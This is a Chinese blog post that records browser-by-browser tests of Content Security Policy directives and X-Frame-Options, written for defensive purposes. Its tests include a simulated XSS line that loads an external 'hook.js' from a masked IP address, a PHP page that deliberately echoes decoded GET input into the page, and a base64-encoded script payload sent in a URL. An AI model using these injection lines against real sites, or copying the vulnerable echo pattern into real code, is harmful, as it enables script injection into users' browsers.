csp策略实验结果记录
2016-09-08 00:00
295 查看
实验对象:
实验代码
(注意以上代码 meta中的规则不能换行 必须全部一行写完 否则火狐会不认识)
所以本文 全部在<meta>里面调试
360浏览器 edge浏览器 所有内联js不再执行
遨游 所有内联js不再执行(反正也只有内联js 整个页面js都不执行了)
ie 依然是万年毒瘤 居然不支持这个最关键的安全策略(关键是它不支持还不报错)
火狐大哥虽然支持
但是要求 meta中的规则必须 一行写完 我花了好多时间才发现这个爷爷多娇气 一个回车都不行
图片和js正常加载(注意 域名不加单引号 self和unsafe-eval等关键词加单引号)
default-src代表默认的加载规则 如果有子规则 如 default-src script-src 则具体根据子规则
除了ie其他全部浏览器支持
也就是 可以执行实验代码中的main函数 但是点击事件不执行
script-src 'self' 'unsafe-eval' 什么都不执行
script-src 'self' 'unsafe-inline' 'unsafe-eval' 则main函数和鼠标单击对应函数都执行针对动态函数
看看官方文档的解释
以上代码模拟攻击者 成功xss了一个外部的js
360和遨游(他俩内核一样 没啥区别)
注意上下两句话的区别
edge也都支持 还好还好.....ie完全不支持 已经发现 ie完全不支持这个csp了
除了ie别的都不执行(ie毒瘤快点死绝吧.....)
框架显示空白
360遨游等使用webkit或者webkit的变种blink内核的这类浏览器能很好地支持csp策略
edge也能支持就是有些情况有点诡异
但是ie内核就依旧是万年毒瘤哪怕是版本比较高的ie11
根据csp策略的注解 ie12才能部分支持csp策略(打倒微软!)
360浏览器 8.1 内核版本 45.0.254 ie11 firefox 48.0.1 edge 38.14 遨游 4.9.3
实验代码
<html> <head> <meta charset="gbk"> <meta http-equiv="Content-Security-Policy" content="default-src *;img-src 'self' XXX.oss-cn-qingdao.aliyuncs.com;style-src 'self' 'unsafe-inline';script-src 'self' 'unsafe-inline' 'unsafe-eval';"/> <title>我做的很棒的弹出内容!</title> <script> function awesome() { // 做些很棒的事情! alert(123); } function totallyAwesome() { // 做些棒极了的事情! alert(234); } function clickHandler(element) { setTimeout("awesome(); totallyAwesome()", 100); } function main() { // 在这里进行初始化工作。 alert(666); } </script> </head> <body onload="main();"> <img width="100%" height="100%" style="margin-top: 10px;margin-left: 10px; width: 58px;height: 58px;" id="user-thumb" src="http://jianbao.oss-cn-qingdao.aliyuncs.com/jianbao/tong/cloud/0b16d17bf8d241849acbd7896413beb8.jpg"/> <button onclick="clickHandler(this)"> 单击看看会发生什么! </button> </body> </html>
(注意以上代码 meta中的规则不能换行 必须全部一行写完 否则火狐会不认识)
首先判断优先级
html的meta标签比 .htaccess优先级(htaccess控制的是http数据包的header)更加高所以本文 全部在<meta>里面调试
script-src测试
script-src 'self' 'unsafe-inline' 'unsafe-eval'; 修改为 script-src 'self' ;
360浏览器 edge浏览器 所有内联js不再执行
遨游 所有内联js不再执行(反正也只有内联js 整个页面js都不执行了)
ie 依然是万年毒瘤 居然不支持这个最关键的安全策略(关键是它不支持还不报错)
火狐大哥虽然支持
但是要求 meta中的规则必须 一行写完 我花了好多时间才发现这个爷爷多娇气 一个回车都不行
default-src 和 script-src img-src优先级测试
default-src 'self' img-src 'self' XXX.oss-cn-qingdao.aliyuncs.com
script-src 'self' XXX.129.XXX.XXX
图片和js正常加载(注意 域名不加单引号 self和unsafe-eval等关键词加单引号)
default-src代表默认的加载规则 如果有子规则 如 default-src script-src 则具体根据子规则
除了ie其他全部浏览器支持
'unsafe-inline' 'unsafe-eval' 具体含义测试
script-src 'self' 'unsafe-inline' 代表可以执行 内联javascript也就是 可以执行实验代码中的main函数 但是点击事件不执行
script-src 'self' 'unsafe-eval' 什么都不执行
script-src 'self' 'unsafe-inline' 'unsafe-eval' 则main函数和鼠标单击对应函数都执行针对动态函数
看看官方文档的解释
'unsafe-inline' | script-src 'unsafe-inline' | Allows use of inline source elements such as style attribute, onclick, or script tag bodies (depends on the context of the source it is applied to) |
'unsafe-eval' | script-src 'unsafe-eval' | Allows unsafe dynamic code evaluation such as JavaScript eval() |
外联限制的js测试
<script>document.write('<scri'+'pt src="http://XXX.XXX.7.XXX/hook.js"></s'+'cript>');</script>
以上代码模拟攻击者 成功xss了一个外部的js
360和遨游(他俩内核一样 没啥区别)
script-src * 'unsafe-eval' #不加载 外部js
注意上下两句话的区别
script-src * 'unsafe-inline' #加载了外部js
edge也都支持 还好还好.....ie完全不支持 已经发现 ie完全不支持这个csp了
某一种csrf测试
<html> <head> <!--<meta http-equiv="Content-Security-Policy" content="default-src *; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval'">--> <meta http-equiv="Content-Security-Policy" content="default-src 'self' jianbao.oss-cn-qingdao.aliyuncs.com; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval'"> <title>我做的很棒的弹出内容!</title> <!--<script>alert(123)</script>--> </head> <?php echo base64_decode(@$_GET[id]); ?> <body> </body> </html>
script-src 'self' 'unsafe-eval'
http://127.0.0.1/csrf.php?id=PHNjcmlwdD5hbGVydCgxMjMpPC9zY3JpcHQ+ PHNjcmlwdD5hbGVydCgxMjMpPC9zY3JpcHQ+ base64解码以后就是 <script>alert(123)</script>
除了ie别的都不执行(ie毒瘤快点死绝吧.....)
内页框架iframe和frame的防御
因为阻止了内联和动态js 入侵者往往会采取框架页嵌套 csp中也有防御框架页的攻击方式child-src 'none'
框架显示空白
<meta http-equiv="X-Frame-Options" content="DENY"> DENY 表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。 SAMEORIGIN 表示该页面可以在相同域名页面的 frame 中展示。 ALLOW-FROM uri 表示该页面可以在指定来源的 frame 中展示。
总结
csp策略严重依赖浏览器的支持 而且不同版本不同内核差别也很大360遨游等使用webkit或者webkit的变种blink内核的这类浏览器能很好地支持csp策略
edge也能支持就是有些情况有点诡异
但是ie内核就依旧是万年毒瘤哪怕是版本比较高的ie11
根据csp策略的注解 ie12才能部分支持csp策略(打倒微软!)
参考
https://content-security-policy.com/相关文章推荐
- 2017/0910 实验结果记录
- 第一次的实验结果记录
- 从hbase读取数据优化策略和实验对比结果
- 记录一次批量插入数据实验结果
- 2018年-3-18晚上记录,修改了一下NDN.p4的experiment实验代码,然后出现结果了
- 实验记录-deformable part models训练数据准备及中间结果记录
- C#学习记录10——上机实验结果
- 从hbase读取数据优化策略和实验对照结果
- 关于使用跟踪程序结果控制摄像头运动的一些记录
- HTML5安全:内容安全策略(CSP)简介
- mysql中如何将查询结果的多个记录中的指定字段放到一个二维数组中,以及在in子句中使用数组
- mysql怎么指定查询一张表的查询结果,如最后5行记录和最前5行记录
- PL SQL Developer 查询结果一次性显示所有记录
- DB2 V9.7 版本前后降低高水位实验记录
- 记录一下MYSQL把两表查询结果插入新表
- Oozie 中各种类型的作业执行结果记录
- 组策略 从入门到精通(五) 如何查看客户端或者本机策略套用结果
- shell将脚本输出结果记录到日志文件
- 关于source-store实验结果
- Spring AOP运用---记录方法调用与结果日志